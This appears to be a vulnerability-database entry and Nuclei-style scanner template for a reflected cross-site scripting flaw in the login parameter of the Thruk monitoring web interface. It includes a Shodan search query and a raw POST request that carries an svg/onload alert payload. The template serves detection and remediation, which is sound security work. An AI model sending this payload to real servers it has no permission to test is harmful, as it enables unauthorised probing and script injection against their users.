SecurityContext

thruk-xss: Thruk Monitoring Webinterface - Cross-Site Scripting

Classification

  • Cwe: CWE-79
  • Cvss score: 7.2
  • Cvss vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
  • Cpe: cpe:2.3:a:thruk:thruk:*:*:*:*:*:*:*:*
  • Not known: epss score, epss percentile

Metadata

  • Max-request: 1
  • Product: thruk
  • Shodan-query: http.html:"Thruk"
  • Vendor: thruk
  • Verified: yes

Products

ProductIndexedUrl
thruk:thrukyes/v1/products/thruk/thruk

Labels

  • Name: Thruk Monitoring Webinterface - Reflected XSS
  • Impact: Attackers can execute arbitrary script in the victim's browser, potentially stealing session cookies or performing actions on behalf of the user.
  • Remediation: Update to the latest version of Thruk Monitoring Webinterface.
  • Vulnerability type: reflected_xss
  • Vulnerability impact: client_script_exec
  • Requirement type: user_interaction
  • Requirements: Victim must visit a crafted URL or interact with a malicious link.
  • Labels source: securitycontext
  • Not known: from cve

```yaml

id: thruk-xss

info:

name: Thruk Monitoring Webinterface - Cross-Site Scripting

author: pikpikcu,ritikchaddha

severity: high

description: |

Thruk Monitoring Webinterface contains a cross-site scripting vulnerability via the login parameter at /thruk/cgi-bin/login.cgi.

reference:

- https://www.thruk.org/download.html

- https://www.usd.de/en/security-advisory-thruk-monitoring-v2-46-3

classification:

cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

cvss-score: 7.2

cwe-id: CWE-79

cpe: cpe:2.3:a:thruk:thruk:*:*:*:*:*:*:*:*

metadata:

verified: true

max-request: 1

shodan-query: http.html:"Thruk"

product: thruk

vendor: thruk

tags: thruk,xss,vuln

http:

- raw:

- |

POST /thruk/cgi-bin/login.cgi HTTP/1.1

Host: {{Hostname}}

Content-Type: application/x-www-form-urlencoded

referer=&login=%22%3Csvg%2Fonload%3Dalert%28document.domain%29%3E%22%40gmail.com&password=test&submit=Login

matchers-condition: and

matchers:

- type: word

words:

- "<svg/onload=alert(document.domain)>\"@gmail.com') called at"

- type: word

part: header

words:

- "text/html"

- type: status

status:

- 500

digest: 4a0a00473045022100f47880f91ad61fab4ebda92a02f76185c9547bd5fb9ba9f92457768c947f12950220243c8305ae18aba9bc88ef9c1c091f0bb44302a1711a0135f4b431ca84023e64:922c64590222798bb761d5b6d8e72950

```